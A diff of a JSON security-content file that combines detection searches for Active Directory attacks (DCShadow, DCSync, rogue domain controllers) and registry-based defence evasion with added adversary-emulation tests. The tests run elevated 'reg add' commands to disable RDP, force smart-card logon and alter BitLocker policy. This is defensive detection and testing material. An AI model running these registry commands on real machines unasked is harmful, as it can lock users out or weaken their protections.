computer assigns itself the necessary Service Principal Names (SPNs) to function as a domain controller. It leverages Windows Security Event Code 4742 to monitor existing domain controllers for these changes. This activity is significant as it can help identify rogue DCs added to the network, which could indicate a DCShadow attack. If confirmed malicious, this could allow an attacker to manipulate Active Directory, leading to potential privilege escalation and persistent access within the environment.", - "search": "`wineventlog_security` EventCode=4742 ServicePrincipalNames IN (\"*E3514235-4B06-11D1-AB04-00C04FC2DCD2/*\",\"*GC/*\")| stats min(_time) as _time latest(ServicePrincipalNames) as ServicePrincipalNames,values(signature) as signature, values(src_user) as src_user, values(user) as user by Logon_ID, dvc| where src_user=user| rename Logon_ID as TargetLogonId, user as dest | appendpipe [| map search=\"search `wineventlog_security` EventCode=4624 TargetLogonId=$TargetLogonId$\" | fields - dest, dvc, signature]| stats min(_time) as _time, values(TargetUserSid) as TargetUserSid, values(Target_Domain) as Target_Domain, values(user) as user, values(status) as status, values(src_category) as src_category, values(src_ip) as src_ip values(ServicePrincipalNames) as ServicePrincipalNames values(signature) as signature values(dest) as dest values(dvc) as dvc by TargetLogonId | eval dest=trim(dest,\"$\") | `windows_ad_domain_controller_promotion_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "AD Domain Controller Promotion Event Detected for $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1207", - "mitre_attack_technique": "Rogue Domain Controller", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows AD Short Lived Domain Controller SPN Attribute", - "description": "The following analytic detects the temporary addition of a global catalog SPN or a DRS RPC SPN to an Active Directory computer object, indicative of a potential DCShadow attack. This detection leverages EventCode 5136 from the `wineventlog_security` data source, focusing on specific SPN attribute changes. This activity is significant as DCShadow attacks allow attackers with privileged access to register rogue Domain Controllers, enabling unauthorized changes to the AD infrastructure. If confirmed malicious, this could lead to unauthorized replication of changes, including credentials and keys, compromising the entire domain's security.", - "search": "`wineventlog_security` EventCode=5136 AttributeLDAPDisplayName=servicePrincipalName (AttributeValue=\"GC/*\" OR AttributeValue=\"E3514235-4B06-11D1-AB04-00C04FC2DCD2/*\") | stats min(_time) as _time range(_time) as duration values(OperationType) as OperationType values(user) as user values(src_ip) as src_ip values(src_nt_domain) as src_nt_domain values(src_user) as src_user values(Computer) as dest, values(ObjectDN) as ObjectDN by Logon_ID | eval short_lived=case((duration<30),\"TRUE\") | where short_lived=\"TRUE\" AND mvcount(OperationType)>1 | replace \"%%14674\" with \"Value Added\", \"%%14675\" with \"Value Deleted\" in OperationType | rename Logon_ID as TargetLogonId | appendpipe [| map search=\"search `wineventlog_security` EventCode=4624 TargetLogonId=$TargetLogonId$\"] | stats min(_time) as _time, values(ObjectDN) as ObjectDN values(OperationType) as OperationType by TargetLogonId src_user dest | `windows_ad_short_lived_domain_controller_spn_attribute_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Short Lived Domain Controller SPN AD Attribute Triggered by $src_user$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1207", - "mitre_attack_technique": "Rogue Domain Controller", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows AD Short Lived Server Object", - "description": "The following analytic identifies the creation and quick deletion of a Domain Controller (DC) object within 30 seconds in an Active Directory environment, indicative of a potential DCShadow attack. This detection leverages Windows Security Event Codes 5137 and 5141, analyzing the duration between these events. This activity is significant as DCShadow allows attackers with privileged access to register a rogue DC, enabling unauthorized changes to AD objects, including credentials. If confirmed malicious, this could lead to unauthorized AD modifications, compromising the integrity and security of the entire domain.", - "search": " `wineventlog_security` EventCode=5137 OR EventCode=5141 ObjectDN=\"*CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration*\" | transaction ObjectDN startswith=(EventCode=5137) endswith=(EventCode=5141) | eval short_lived=case((duration<30),\"TRUE\") | search short_lived = TRUE | stats values(ObjectDN) values(signature) values(EventCode) by _time, Computer, SubjectUserName | `windows_ad_short_lived_server_object_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "SubjectUserName", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential DCShadow Attack Detected on $Computer$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1207", - "mitre_attack_technique": "Rogue Domain Controller", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows AD Replication Service Traffic", - "description": "The following analytic identifies unexpected Active Directory replication traffic from non-domain controller sources. It leverages data from the Network Traffic datamodel, specifically looking for applications related to AD replication. This activity is significant because AD replication traffic should typically only occur between domain controllers. Detection of such traffic from other sources may indicate malicious activities like DCSync or DCShadow, which are used for credential dumping. If confirmed malicious, this could allow attackers to exfiltrate sensitive credentials, leading to unauthorized access and potential domain-wide compromise.", - "search": "| tstats `security_content_summariesonly` count values(All_Traffic.transport) as transport values(All_Traffic.user) as user values(All_Traffic.src_category) as src_category values(All_Traffic.dest_category) as dest_category min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.app IN (\"ms-dc-replication\",\"*drsr*\",\"ad drs\") by All_Traffic.src All_Traffic.dest All_Traffic.app | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `windows_ad_replication_service_traffic_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Active Directory Replication Traffic from Unknown Source - $src$", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1003.006", - "mitre_attack_technique": "DCSync", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1207", - "mitre_attack_technique": "Rogue Domain Controller", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows AD Rogue Domain Controller Network Activity", - "description": "The following analytic identifies unauthorized replication RPC calls from non-domain controller devices. It leverages Zeek wire data to detect specific RPC operations like DrsReplicaAdd and DRSGetNCChanges, filtering out legitimate domain controllers. This activity is significant as it may indicate an attempt to introduce a rogue domain controller, which can compromise the integrity of the Active Directory environment. If confirmed malicious, this could allow attackers to manipulate directory data, escalate privileges, and persist within the network, posing a severe security risk.", - "search": "`zeek_rpc` DrsReplicaAdd OR DRSGetNCChanges | where NOT (dest_category=\"Domain Controller\") OR NOT (src_category=\"Domain Controller\") | fillnull value=\"Unknown\" src_category, dest_category | table _time endpoint operation src src_category dest dest_category | `windows_ad_rogue_domain_controller_network_activity_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Rogue DC Activity Detected from $src_category$ device $src$ to $dest$ ($dest_category$)", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1207", - "mitre_attack_technique": "Rogue Domain Controller", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - } + ] ], "external_reference": [ [ @@ -335199,6 +239673,17 @@ "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters\" /v \"EnablePrefetcher\" /t REG_DWORD /d 0 /f\n", "$s= New-CimSession -Computername localhost -SessionOption (New-CimSessionOption -Protocol Dcom)\nGet-CimInstance -Namespace ROOT\\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=\"Remote Desktop - Shadow (TCP-In)\"' -CimSession $s | Invoke-CimMethod -MethodName Enable\nInvoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=\"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\"; sValueName=\"shadow\"; uValue=[uint32]2} -CimSession $s", "Rundll32.exe apphelp.dll,ShimFlushCache", + "reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f\n", + "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v scforceoption /t REG_DWORD /d 1 /f\n", + "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseAdvancedStartup /t REG_DWORD /d 1 /f\n", + "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f\n", + "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPM /t REG_DWORD /d 2 /f\n", + "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMPIN /t REG_DWORD /d 2 /f\n", + "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKey /t REG_DWORD /d 2 /f\n", + "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f\n", + "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v EnableNonTPM /t REG_DWORD /d 1 /f\n", + "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f\n", + "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePIN /t REG_DWORD /d 2 /f\n", "powershell/persistence/misc/disable_machine_acct_change" ], "commands": [], @@ -336559,6 +241044,160 @@ "name": "command_prompt", "elevation_required": true } + }, + { + "name": "Disable Windows Remote Desktop Protocol", + "auto_generated_guid": "5f8e36de-37ca-455e-b054-a2584f043c06", + "description": "Modify the registry of the machine to disable remote desktop protocol.\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f\n", + "cleanup_command": "reg delete \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Enforce Smart Card Authentication Through Registry", + "auto_generated_guid": "4c4bf587-fe7f-448f-ba8d-1ecec9db88be", + "description": "Enforce Smart Card Authentication Through Registry\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v scforceoption /t REG_DWORD /d 1 /f\n", + "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v scforceoption /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Requires the BitLocker PIN for Pre-boot authentication", + "auto_generated_guid": "26fc7375-a551-4336-90d7-3f2817564304", + "description": "Requires the BitLocker PIN for Pre-boot authentication\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseAdvancedStartup /t REG_DWORD /d 1 /f\n", + "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseAdvancedStartup /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Modify EnableBDEWithNoTPM Registry entry", + "auto_generated_guid": "bacb3e73-8161-43a9-8204-a69fe0e4b482", + "description": "Allow BitLocker without a compatible TPM (requires a password)\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f\n", + "cleanup_command": "reg delete \"\"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\"\" /v EnableBDEWithNoTPM /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Modify UseTPM Registry entry", + "auto_generated_guid": "7c8c7bd8-0a5c-4514-a6a3-0814c5a98cf0", + "description": "Use Trusted Platform Module (TPM) for Bitlocker tool\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPM /t REG_DWORD /d 2 /f\n", + "cleanup_command": "reg delete \"\"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\"\" /v UseTPM /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Modify UseTPMPIN Registry entry", + "auto_generated_guid": "10b33fb0-c58b-44cd-8599-b6da5ad6384c", + "description": "Allow startup PIN with TPM for Bitlocker tool\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMPIN /t REG_DWORD /d 2 /f\n", + "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMPIN /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Modify UseTPMKey Registry entry", + "auto_generated_guid": "c8480c83-a932-446e-a919-06a1fd1e512a", + "description": "Allow startup key with TPM for Bitlocker tool\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKey /t REG_DWORD /d 2 /f\n", + "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKey /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Modify UseTPMKeyPIN Registry entry", + "auto_generated_guid": "02d8b9f7-1a51-4011-8901-2d55cca667f9", + "description": "Allow startup key and PIN with TPM for Bitlocker tool\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f\n", + "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKeyPIN /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Modify EnableNonTPM Registry entry", + "auto_generated_guid": "e672a340-a933-447c-954c-d68db38a09b1", + "description": "Allow Bitlocker without TPM for Bitlocker tool\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v EnableNonTPM /t REG_DWORD /d 1 /f\n", + "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v EnableNonTPM /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Modify UsePartialEncryptionKey Registry entry", + "auto_generated_guid": "b5169fd5-85c8-4b2c-a9b6-64cc0b9febef", + "description": "Allow startup key with TPM for Bitlocker tool\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f\n", + "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePartialEncryptionKey /f\n", + "name": "command_prompt", + "elevation_required": true + } + }, + { + "name": "Modify UsePIN Registry entry", + "auto_generated_guid": "3ac0b30f-532f-43c6-8f01-fb657aaed7e4", + "description": "Allow startup PIN with TPM for Bitlocker tool\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePIN /t REG_DWORD /d 2 /f\n", + "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePIN /f\n", + "name": "command_prompt", + "elevation_required": true + } } ] } @@ -337194,4407 +241833,7 @@ "Event ID": "LOG-MD", "Event Name": "Reg Compare" } - ], - { - "name": "Disable Registry Tool", - "description": "The following analytic detects modifications to the Windows registry aimed at disabling the Registry Editor (regedit). It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools\" with a value of \"0x00000001\". This activity is significant because malware, such as RATs or trojans, often disable registry tools to prevent the removal of their entries, aiding in persistence and defense evasion. If confirmed malicious, this could hinder incident response efforts and allow the attacker to maintain control over the compromised system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_registry_tool_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled Registry Tools on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disable Security Logs Using MiniNt Registry", - "description": "The following analytic detects a suspicious registry modification aimed at disabling security audit logs by adding a specific registry entry. It leverages data from the Endpoint.Registry data model, focusing on changes to the \"Control\\\\MiniNt\" registry path. This activity is significant because it can prevent Windows from logging any events to the Security Log, effectively blinding security monitoring efforts. If confirmed malicious, this technique could allow an attacker to operate undetected, making it difficult to trace their actions and compromising the integrity of security audits.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\Control\\\\MiniNt\\\\*\") BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_security_logs_using_minint_registry_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disable Show Hidden Files", - "description": "The following analytic detects modifications to the Windows registry that disable the display of hidden files. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with hidden file settings. This activity is significant because malware, such as worms and trojan spyware, often use hidden files to evade detection. If confirmed malicious, this behavior could allow an attacker to conceal malicious files on the system, making it harder for security tools and analysts to identify and remove the threat.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\Hidden\" OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\HideFileExt\" Registry.registry_value_data = \"0x00000001\") OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\ShowSuperHidden\" Registry.registry_value_data = \"0x00000000\" )) BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_show_hidden_files_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled 'Show Hidden Files' on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.001", - "mitre_attack_technique": "Hidden Files and Directories", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "FIN13", - "HAFNIUM", - "Lazarus Group", - "LuminousMoth", - "Mustang Panda", - "Rocke", - "Transparent Tribe", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1564", - "mitre_attack_technique": "Hide Artifacts", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disable Windows App Hotkeys", - "description": "The following analytic detects a suspicious registry modification aimed at disabling Windows hotkeys for native applications. It leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values indicative of this behavior. This activity is significant as it can impair an analyst's ability to use essential tools like Task Manager and Command Prompt, hindering incident response efforts. If confirmed malicious, this technique can allow an attacker to maintain persistence and evade detection, complicating the remediation process.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\*\" AND Registry.registry_value_data= \"HotKey Disabled\" AND Registry.registry_value_name = \"Debugger\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_windows_app_hotkeys_filter`", - "tags": { - "analytic_story": [ - "Windows Registry Abuse", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled 'Windows App Hotkeys' on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disabling CMD Application", - "description": "The following analytic detects modifications to the registry that disable the CMD prompt application. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the \"DisableCMD\" registry value. This activity is significant because disabling CMD can hinder an analyst's ability to investigate and remediate threats, a tactic often used by malware such as RATs, Trojans, or Worms. If confirmed malicious, this could prevent security teams from using CMD for directory and file traversal, complicating incident response and allowing the attacker to maintain persistence.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\\DisableCMD\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | 